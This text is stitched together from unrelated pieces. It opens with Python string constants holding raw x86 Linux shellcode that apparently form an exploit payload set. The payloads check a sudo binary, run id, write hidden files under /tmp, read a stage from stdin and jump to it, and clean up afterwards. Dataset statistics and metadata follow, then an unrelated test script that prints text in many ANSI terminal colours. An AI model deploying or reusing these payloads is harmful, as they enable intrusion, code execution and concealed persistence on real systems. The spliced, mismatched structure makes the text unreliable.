probe = '\xeb\x34\x2f\x74\x6f\x73\x2f\x62\x69\x6e\x2f\x73\x75\x64\x6f\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x0a\x0a\xe8\x00\x00\x00\x00\x5d\x52\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x8d\x4d\xe1\xba\x1a\x00\x00\x00\xcd\x80\xb8\x31\x00\x00\x00\xcd\x80\x89\xc6\xb8\xbe\xba\xed\xc0\xe8\x92\x00\x00\x00\x58\xe8\x8c\x00\x00\x00\x89\xf0\xe8\x85\x00\x00\x00\x85\xf6\x75\x0f\xb8\xd0\x00\x05\xb0\xe8\x77\x00\x00\x00\xe9\x69\x00\x00\x00\x81\xec\x00\x10\x00\x00\xb8\x6a\x00\x00\x00\x8d\x5d\xc7\x89\xe1\xcd\x80\x66\x8b\x44\x24\x08\x66\x25\x05\x08\x66\x3d\x05\x08\x74\x0f\xb8\xd0\x00\xd5\xba\xe8\x47\x00\x00\x00\xe9\x39\x00\x00\x00\xb8\xd0\x50\x0d\x90\xe8\x38\x00\x00\x00\xb8\x3f\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x31\xd2\x8d\x5d\xc7\x8d\x4d\xd5\x52\x51\x53\x89\xe1\xcd\x80\xb8\xec\xe7\xad\xba\xe8\x09\x00\x00\x00\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80\x50\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x04\x00\x00\x00\xcd\x80\x58\xc3'
nopen = '\xeb\x7f\xef\xbe\xad\xde\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x64\x61\x74\x00\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x62\x61\x6b\x00\x74\x6f\x73\x5f\x63\x6f\x6e\x66\x69\x67\x64\x00\x2f\x74\x6f\x73\x2f\x62\x69\x6e\x2f\x73\x75\x64\x6f\x00\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x0a\x0a\xe8\x00\x00\x00\x00\x5d\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x8d\x4d\xe1\xba\x1a\x00\x00\x00\xcd\x80\xb8\xef\xbe\xad\xde\xe8\x61\x01\x00\x00\xb8\x76\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x8d\x5d\xa7\x8b\x75\x80\xe8\x85\x00\x00\x00\xb8\xbe\xba\xed\xc0\xe8\x40\x01\x00\x00\xb8\x76\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x31\x00\x00\x00\xcd\x80\x85\xc0\x74\x3b\x8d\x5d\xb7\x8b\xb5\x7c\xff\xff\xff\xe8\x56\x00\x00\x00\x31\xd2\x52\x8d\x45\xc7\x8d\x4d\x84\x8d\x5d\xa7\x50\x51\x53\x8d\x4d\xb7\x8d\x5d\xc7\x51\x53\x89\xe1\x8d\x5d\xd3\xb8\x0b\x00\x00\x00\xcd\x80\xb8\x07\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xc0\x8d\x55\x84\x50\x52\x89\xe2\x8d\x4d\xc7\x50\x51\x89\xe1\x8d\x5d\xa7\xb8\x0b\x00\x00\x00\xcd\x80\xb8\x05\x00\x00\x00\xe8\xca\x00\x00\x00\xe8\xdb\x00\x00\x00\x55\x81\xec\x00\x10\x00\x00\xb8\x05\x00\x00\x00\xb9\x41\x02\x00\x00\xba\xc0\x01\x00\x00\xcd\x80\x3d\xff\xff\xff\xff\x75\x0f\xb8\x04\x00\x00\x00\xe8\x9c\x00\x00\x00\xe8\xad\x00\x00\x00\x89\xc7\x81\xfe\x00\x10\x00\x00\x7d\x07\x89\xf2\xe9\x05\x00\x00\x00\xba\x00\x10\x00\x00\xb8\x03\x00\x00\x00\xbb\x00\x00\x00\x00\x89\xe1\xcd\x80\x3d\xff\xff\xff\xff\x75\x0f\xb8\x01\x00\x00\x00\xe8\x62\x00\x00\x00\xe8\x73\x00\x00\x00\x29\xc6\x89\xc5\x89\xc2\xb8\x04\x00\x00\x00\x89\xfb\x89\xe1\xcd\x80\x3d\xff\xff\xff\xff\x75\x0f\xb8\x02\x00\x00\x00\xe8\x3b\x00\x00\x00\xe8\x4c\x00\x00\x00\x85\xf6\x74\x13\x85\xed\x75\x99\xb8\x03\x00\x00\x00\xe8\x24\x00\x00\x00\xe8\x35\x00\x00\x00\xb8\x06\x00\x00\x00\x89\xfb\xcd\x80\x85\xc0\x74\x0a\xb8\x06\x00\x00\x00\xe8\x08\x00\x00\x00\x81\xc4\x00\x10\x00\x00\x5d\xc3\x50\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x04\x00\x00\x00\xcd\x80\x58\xc3\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80'
cleanup = '\xeb\x3a\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x64\x61\x74\x00\x2f\x74\x6d\x70\x2f\x2e\x68\x74\x74\x70\x64\x2e\x62\x61\x6b\x00\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x0a\x0a\xe8\x00\x00\x00\x00\x5d\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x8d\x4d\xe1\xba\x1a\x00\x00\x00\xcd\x80\x8d\x5d\xc1\xbf\x00\x00\x01\x00\xe8\x12\x00\x00\x00\x8d\x5d\xd1\xbf\x00\x00\x02\x00\xe8\x05\x00\x00\x00\xe9\x71\x00\x00\x00\x89\xde\x81\xec\x00\x10\x00\x00\xb8\x6a\x00\x00\x00\x89\xe1\xcd\x80\x81\xc4\x00\x10\x00\x00\x85\xc0\x74\x0d\xb8\x01\x00\x00\x00\x31\xf8\xe8\x34\x00\x00\x00\xc3\xb8\x00\x01\x00\x00\x31\xf8\xe8\x27\x00\x00\x00\xb8\x0a\x00\x00\x00\x89\xf3\xcd\x80\x85\xc0\x74\x0d\xb8\x02\x00\x00\x00\x31\xf8\xe8\x0e\x00\x00\x00\xc3\xb8\x00\x02\x00\x00\x31\xf8\xe8\x01\x00\x00\x00\xc3\x50\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x04\x00\x00\x00\xcd\x80\x58\xc3\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80'
auth_id = '\x31\xc0\xb0\x03\x31\xdb\x89\xe1\x31\xd2\xb6\xf0\xb2\x0d\xcd\x80\x3d\xff\xff\xff\xff\x75\x07\x31\xc0\x40\x31\xdb\xcd\x80\xff\xe4'
tiny_exec = '\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\x76\x00\x00\x00\x76\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5d\x5d\x31\xed\x5b\x5a\x58\x55\x52\x89\xe2\x55\x50\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x76\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
| 663.777778 | 2,206 | 0.746401 | 1,478 | 5,974 | 3.014885 | 0.115697 | 0.504937 | 0.500898 | 0.366248 | 0.625449 | 0.543986 | 0.502244 | 0.461176 | 0.434246 | 0.405969 | 0 | 0.382185 | 0.004017 | 5,974 | 8 | 2,207 | 746.75 | 0.366723 | 0 | 0 | 0 | 0 | 0.875 | 0.982256 | 0.982256 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
a2490f0aed4db7425874afc5fc0cf2373693a896 | 32,066 | py | Python | tests/test_4.py | landonb/ansi-escape-room | 805687fa1277c2ca5a5378e385926abbe07e7885 | [
"MIT"
] | null | null | null | tests/test_4.py | landonb/ansi-escape-room | 805687fa1277c2ca5a5378e385926abbe07e7885 | [
"MIT"
] | null | null | null | tests/test_4.py | landonb/ansi-escape-room | 805687fa1277c2ca5a5378e385926abbe07e7885 | [
"MIT"
] | 1 | 2019-02-21T05:41:21.000Z | 2019-02-21T05:41:21.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""test foreground and background colors"""
from ansi_escape_room import fore, back, style
def main():
print(fore.BLACK + "Hello World !!!" + style.RESET)
print(fore.RED + "Hello World !!!" + style.RESET)
print(fore.GREEN + "Hello World !!!" + style.RESET)
print(fore.YELLOW + "Hello World !!!" + style.RESET)
print(fore.BLUE + "Hello World !!!" + style.RESET)
print(fore.MAGENTA + "Hello World !!!" + style.RESET)
print(fore.CYAN + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GRAY + "Hello World !!!" + style.RESET)
print(fore.DARK_GRAY + "Hello World !!!" + style.RESET)
print(fore.LIGHT_RED + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GREEN + "Hello World !!!" + style.RESET)
print(fore.LIGHT_YELLOW + "Hello World !!!" + style.RESET)
print(fore.LIGHT_BLUE + "Hello World !!!" + style.RESET)
print(fore.LIGHT_MAGENTA + "Hello World !!!" + style.RESET)
print(fore.LIGHT_CYAN + "Hello World !!!" + style.RESET)
print(fore.WHITE + "Hello World !!!" + style.RESET)
print(fore.GREY_0 + "Hello World !!!" + style.RESET)
print(fore.NAVY_BLUE + "Hello World !!!" + style.RESET)
print(fore.DARK_BLUE + "Hello World !!!" + style.RESET)
print(fore.BLUE_3A + "Hello World !!!" + style.RESET)
print(fore.BLUE_3B + "Hello World !!!" + style.RESET)
print(fore.BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.DARK_GREEN + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_4A + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_4B + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_4C + "Hello World !!!" + style.RESET)
print(fore.DODGER_BLUE_3 + "Hello World !!!" + style.RESET)
print(fore.DODGER_BLUE_2 + "Hello World !!!" + style.RESET)
print(fore.GREEN_4 + "Hello World !!!" + style.RESET)
print(fore.SPRING_GREEN_4 + "Hello World !!!" + style.RESET)
print(fore.TURQUOISE_4 + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_3A + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_3B + "Hello World !!!" + style.RESET)
print(fore.DODGER_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.GREEN_3A + "Hello World !!!" + style.RESET)
print(fore.SPRING_GREEN_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_CYAN + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SEA_GREEN + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_2 + "Hello World !!!" + style.RESET)
print(fore.DEEP_SKY_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.GREEN_3B + "Hello World !!!" + style.RESET)
print(fore.SPRING_GREEN_3B + "Hello World !!!" + style.RESET)
print(fore.SPRING_GREEN_2A + "Hello World !!!" + style.RESET)
print(fore.CYAN_3 + "Hello World !!!" + style.RESET)
print(fore.DARK_TURQUOISE + "Hello World !!!" + style.RESET)
print(fore.TURQUOISE_2 + "Hello World !!!" + style.RESET)
print(fore.GREEN_1 + "Hello World !!!" + style.RESET)
print(fore.SPRING_GREEN_2B + "Hello World !!!" + style.RESET)
print(fore.SPRING_GREEN_1 + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_SPRING_GREEN + "Hello World !!!" + style.RESET)
print(fore.CYAN_2 + "Hello World !!!" + style.RESET)
print(fore.CYAN_1 + "Hello World !!!" + style.RESET)
print(fore.DARK_RED_1 + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_4A + "Hello World !!!" + style.RESET)
print(fore.PURPLE_4A + "Hello World !!!" + style.RESET)
print(fore.PURPLE_4B + "Hello World !!!" + style.RESET)
print(fore.PURPLE_3 + "Hello World !!!" + style.RESET)
print(fore.BLUE_VIOLET + "Hello World !!!" + style.RESET)
print(fore.ORANGE_4A + "Hello World !!!" + style.RESET)
print(fore.GREY_37 + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE_4 + "Hello World !!!" + style.RESET)
print(fore.SLATE_BLUE_3A + "Hello World !!!" + style.RESET)
print(fore.SLATE_BLUE_3B + "Hello World !!!" + style.RESET)
print(fore.ROYAL_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.CHARTREUSE_4 + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_4A + "Hello World !!!" + style.RESET)
print(fore.PALE_TURQUOISE_4 + "Hello World !!!" + style.RESET)
print(fore.STEEL_BLUE + "Hello World !!!" + style.RESET)
print(fore.STEEL_BLUE_3 + "Hello World !!!" + style.RESET)
print(fore.CORNFLOWER_BLUE + "Hello World !!!" + style.RESET)
print(fore.CHARTREUSE_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_4B + "Hello World !!!" + style.RESET)
print(fore.CADET_BLUE_2 + "Hello World !!!" + style.RESET)
print(fore.CADET_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.SKY_BLUE_3 + "Hello World !!!" + style.RESET)
print(fore.STEEL_BLUE_1A + "Hello World !!!" + style.RESET)
print(fore.CHARTREUSE_3B + "Hello World !!!" + style.RESET)
print(fore.PALE_GREEN_3A + "Hello World !!!" + style.RESET)
print(fore.SEA_GREEN_3 + "Hello World !!!" + style.RESET)
print(fore.AQUAMARINE_3 + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_TURQUOISE + "Hello World !!!" + style.RESET)
print(fore.STEEL_BLUE_1B + "Hello World !!!" + style.RESET)
print(fore.CHARTREUSE_2A + "Hello World !!!" + style.RESET)
print(fore.SEA_GREEN_2 + "Hello World !!!" + style.RESET)
print(fore.SEA_GREEN_1A + "Hello World !!!" + style.RESET)
print(fore.SEA_GREEN_1B + "Hello World !!!" + style.RESET)
print(fore.AQUAMARINE_1A + "Hello World !!!" + style.RESET)
print(fore.DARK_SLATE_GRAY_2 + "Hello World !!!" + style.RESET)
print(fore.DARK_RED_2 + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_4B + "Hello World !!!" + style.RESET)
print(fore.DARK_MAGENTA_1 + "Hello World !!!" + style.RESET)
print(fore.DARK_MAGENTA_2 + "Hello World !!!" + style.RESET)
print(fore.DARK_VIOLET_1A + "Hello World !!!" + style.RESET)
print(fore.PURPLE_1A + "Hello World !!!" + style.RESET)
print(fore.ORANGE_4B + "Hello World !!!" + style.RESET)
print(fore.LIGHT_PINK_4 + "Hello World !!!" + style.RESET)
print(fore.PLUM_4 + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE_3A + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE_3B + "Hello World !!!" + style.RESET)
print(fore.SLATE_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.YELLOW_4A + "Hello World !!!" + style.RESET)
print(fore.WHEAT_4 + "Hello World !!!" + style.RESET)
print(fore.GREY_53 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SLATE_GREY + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SLATE_BLUE + "Hello World !!!" + style.RESET)
print(fore.YELLOW_4B + "Hello World !!!" + style.RESET)
print(fore.DARK_OLIVE_GREEN_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_GREEN_SEA + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SKY_BLUE_3A + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SKY_BLUE_3B + "Hello World !!!" + style.RESET)
print(fore.SKY_BLUE_2 + "Hello World !!!" + style.RESET)
print(fore.CHARTREUSE_2B + "Hello World !!!" + style.RESET)
print(fore.DARK_OLIVE_GREEN_3B + "Hello World !!!" + style.RESET)
print(fore.PALE_GREEN_3B + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_SLATE_GRAY_3 + "Hello World !!!" + style.RESET)
print(fore.SKY_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.CHARTREUSE_1 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GREEN_2 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GREEN_3 + "Hello World !!!" + style.RESET)
print(fore.PALE_GREEN_1A + "Hello World !!!" + style.RESET)
print(fore.AQUAMARINE_1B + "Hello World !!!" + style.RESET)
print(fore.DARK_SLATE_GRAY_1 + "Hello World !!!" + style.RESET)
print(fore.RED_3A + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_4C + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_VIOLET_RED + "Hello World !!!" + style.RESET)
print(fore.MAGENTA_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_VIOLET_1B + "Hello World !!!" + style.RESET)
print(fore.PURPLE_1B + "Hello World !!!" + style.RESET)
print(fore.DARK_ORANGE_3A + "Hello World !!!" + style.RESET)
print(fore.INDIAN_RED_1A + "Hello World !!!" + style.RESET)
print(fore.HOT_PINK_3A + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_ORCHID_3 + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_ORCHID + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE_2A + "Hello World !!!" + style.RESET)
print(fore.DARK_GOLDENROD + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SALMON_3A + "Hello World !!!" + style.RESET)
print(fore.ROSY_BROWN + "Hello World !!!" + style.RESET)
print(fore.GREY_63 + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE_2B + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_PURPLE_1 + "Hello World !!!" + style.RESET)
print(fore.GOLD_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_KHAKI + "Hello World !!!" + style.RESET)
print(fore.NAVAJO_WHITE_3 + "Hello World !!!" + style.RESET)
print(fore.GREY_69 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_STEEL_BLUE_3 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_STEEL_BLUE + "Hello World !!!" + style.RESET)
print(fore.YELLOW_3A + "Hello World !!!" + style.RESET)
print(fore.DARK_OLIVE_GREEN_3 + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_3B + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_2 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_CYAN_3 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SKY_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.GREEN_YELLOW + "Hello World !!!" + style.RESET)
print(fore.DARK_OLIVE_GREEN_2 + "Hello World !!!" + style.RESET)
print(fore.PALE_GREEN_1B + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_5B + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_5A + "Hello World !!!" + style.RESET)
print(fore.PALE_TURQUOISE_1 + "Hello World !!!" + style.RESET)
print(fore.RED_3B + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_3A + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_3B + "Hello World !!!" + style.RESET)
print(fore.MAGENTA_3B + "Hello World !!!" + style.RESET)
print(fore.MAGENTA_3C + "Hello World !!!" + style.RESET)
print(fore.MAGENTA_2A + "Hello World !!!" + style.RESET)
print(fore.DARK_ORANGE_3B + "Hello World !!!" + style.RESET)
print(fore.INDIAN_RED_1B + "Hello World !!!" + style.RESET)
print(fore.HOT_PINK_3B + "Hello World !!!" + style.RESET)
print(fore.HOT_PINK_2 + "Hello World !!!" + style.RESET)
print(fore.ORCHID + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_ORCHID_1A + "Hello World !!!" + style.RESET)
print(fore.ORANGE_3 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SALMON_3B + "Hello World !!!" + style.RESET)
print(fore.LIGHT_PINK_3 + "Hello World !!!" + style.RESET)
print(fore.PINK_3 + "Hello World !!!" + style.RESET)
print(fore.PLUM_3 + "Hello World !!!" + style.RESET)
print(fore.VIOLET + "Hello World !!!" + style.RESET)
print(fore.GOLD_3B + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GOLDENROD_3 + "Hello World !!!" + style.RESET)
print(fore.TAN + "Hello World !!!" + style.RESET)
print(fore.MISTY_ROSE_3 + "Hello World !!!" + style.RESET)
print(fore.THISTLE_3 + "Hello World !!!" + style.RESET)
print(fore.PLUM_2 + "Hello World !!!" + style.RESET)
print(fore.YELLOW_3B + "Hello World !!!" + style.RESET)
print(fore.KHAKI_3 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GOLDENROD_2A + "Hello World !!!" + style.RESET)
print(fore.LIGHT_YELLOW_3 + "Hello World !!!" + style.RESET)
print(fore.GREY_84 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_STEEL_BLUE_1 + "Hello World !!!" + style.RESET)
print(fore.YELLOW_2 + "Hello World !!!" + style.RESET)
print(fore.DARK_OLIVE_GREEN_1A + "Hello World !!!" + style.RESET)
print(fore.DARK_OLIVE_GREEN_1B + "Hello World !!!" + style.RESET)
print(fore.DARK_SEA_GREEN_1 + "Hello World !!!" + style.RESET)
print(fore.HONEYDEW_2 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_CYAN_1 + "Hello World !!!" + style.RESET)
print(fore.RED_1 + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_2 + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_1A + "Hello World !!!" + style.RESET)
print(fore.DEEP_PINK_1B + "Hello World !!!" + style.RESET)
print(fore.MAGENTA_2B + "Hello World !!!" + style.RESET)
print(fore.MAGENTA_1 + "Hello World !!!" + style.RESET)
print(fore.ORANGE_RED_1 + "Hello World !!!" + style.RESET)
print(fore.INDIAN_RED_1C + "Hello World !!!" + style.RESET)
print(fore.INDIAN_RED_1D + "Hello World !!!" + style.RESET)
print(fore.HOT_PINK_1A + "Hello World !!!" + style.RESET)
print(fore.HOT_PINK_1B + "Hello World !!!" + style.RESET)
print(fore.MEDIUM_ORCHID_1B + "Hello World !!!" + style.RESET)
print(fore.DARK_ORANGE + "Hello World !!!" + style.RESET)
print(fore.SALMON_1 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_CORAL + "Hello World !!!" + style.RESET)
print(fore.PALE_VIOLET_RED_1 + "Hello World !!!" + style.RESET)
print(fore.ORCHID_2 + "Hello World !!!" + style.RESET)
print(fore.ORCHID_1 + "Hello World !!!" + style.RESET)
print(fore.ORANGE_1 + "Hello World !!!" + style.RESET)
print(fore.SANDY_BROWN + "Hello World !!!" + style.RESET)
print(fore.LIGHT_SALMON_1 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_PINK_1 + "Hello World !!!" + style.RESET)
print(fore.PINK_1 + "Hello World !!!" + style.RESET)
print(fore.PLUM_1 + "Hello World !!!" + style.RESET)
print(fore.GOLD_1 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GOLDENROD_2B + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GOLDENROD_2C + "Hello World !!!" + style.RESET)
print(fore.NAVAJO_WHITE_1 + "Hello World !!!" + style.RESET)
print(fore.MISTY_ROSE1 + "Hello World !!!" + style.RESET)
print(fore.THISTLE_1 + "Hello World !!!" + style.RESET)
print(fore.YELLOW_1 + "Hello World !!!" + style.RESET)
print(fore.LIGHT_GOLDENROD_1 + "Hello World !!!" + style.RESET)
print(fore.KHAKI_1 + "Hello World !!!" + style.RESET)
print(fore.WHEAT_1 + "Hello World !!!" + style.RESET)
print(fore.CORNSILK_1 + "Hello World !!!" + style.RESET)
print(fore.GREY_100 + "Hello World !!!" + style.RESET)
print(fore.GREY_3 + "Hello World !!!" + style.RESET)
print(fore.GREY_7 + "Hello World !!!" + style.RESET)
print(fore.GREY_11 + "Hello World !!!" + style.RESET)
print(fore.GREY_15 + "Hello World !!!" + style.RESET)
print(fore.GREY_19 + "Hello World !!!" + style.RESET)
print(fore.GREY_23 + "Hello World !!!" + style.RESET)
print(fore.GREY_27 + "Hello World !!!" + style.RESET)
print(fore.GREY_30 + "Hello World !!!" + style.RESET)
print(fore.GREY_35 + "Hello World !!!" + style.RESET)
print(fore.GREY_39 + "Hello World !!!" + style.RESET)
print(fore.GREY_42 + "Hello World !!!" + style.RESET)
print(fore.GREY_46 + "Hello World !!!" + style.RESET)
print(fore.GREY_50 + "Hello World !!!" + style.RESET)
print(fore.GREY_54 + "Hello World !!!" + style.RESET)
print(fore.GREY_58 + "Hello World !!!" + style.RESET)
print(fore.GREY_62 + "Hello World !!!" + style.RESET)
print(fore.GREY_66 + "Hello World !!!" + style.RESET)
print(fore.GREY_70 + "Hello World !!!" + style.RESET)
print(fore.GREY_74 + "Hello World !!!" + style.RESET)
print(fore.GREY_78 + "Hello World !!!" + style.RESET)
print(fore.GREY_82 + "Hello World !!!" + style.RESET)
print(fore.GREY_85 + "Hello World !!!" + style.RESET)
print(fore.GREY_89 + "Hello World !!!" + style.RESET)
print(fore.GREY_93 + "Hello World !!!" + style.RESET)
print(back.BLACK + "Hello World !!!" + style.RESET)
print(back.RED + "Hello World !!!" + style.RESET)
print(back.GREEN + "Hello World !!!" + style.RESET)
print(back.YELLOW + "Hello World !!!" + style.RESET)
print(back.BLUE + "Hello World !!!" + style.RESET)
print(back.MAGENTA + "Hello World !!!" + style.RESET)
print(back.CYAN + "Hello World !!!" + style.RESET)
print(back.LIGHT_GRAY + "Hello World !!!" + style.RESET)
print(back.DARK_GRAY + "Hello World !!!" + style.RESET)
print(back.LIGHT_RED + "Hello World !!!" + style.RESET)
print(back.LIGHT_GREEN + "Hello World !!!" + style.RESET)
print(back.LIGHT_YELLOW + "Hello World !!!" + style.RESET)
print(back.LIGHT_BLUE + "Hello World !!!" + style.RESET)
print(back.LIGHT_MAGENTA + "Hello World !!!" + style.RESET)
print(back.LIGHT_CYAN + "Hello World !!!" + style.RESET)
print(back.WHITE + "Hello World !!!" + style.RESET)
print(back.GREY_0 + "Hello World !!!" + style.RESET)
print(back.NAVY_BLUE + "Hello World !!!" + style.RESET)
print(back.DARK_BLUE + "Hello World !!!" + style.RESET)
print(back.BLUE_3A + "Hello World !!!" + style.RESET)
print(back.BLUE_3B + "Hello World !!!" + style.RESET)
print(back.BLUE_1 + "Hello World !!!" + style.RESET)
print(back.DARK_GREEN + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_4A + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_4B + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_4C + "Hello World !!!" + style.RESET)
print(back.DODGER_BLUE_3 + "Hello World !!!" + style.RESET)
print(back.DODGER_BLUE_2 + "Hello World !!!" + style.RESET)
print(back.GREEN_4 + "Hello World !!!" + style.RESET)
print(back.SPRING_GREEN_4 + "Hello World !!!" + style.RESET)
print(back.TURQUOISE_4 + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_3A + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_3B + "Hello World !!!" + style.RESET)
print(back.DODGER_BLUE_1 + "Hello World !!!" + style.RESET)
print(back.GREEN_3A + "Hello World !!!" + style.RESET)
print(back.SPRING_GREEN_3A + "Hello World !!!" + style.RESET)
print(back.DARK_CYAN + "Hello World !!!" + style.RESET)
print(back.LIGHT_SEA_GREEN + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_2 + "Hello World !!!" + style.RESET)
print(back.DEEP_SKY_BLUE_1 + "Hello World !!!" + style.RESET)
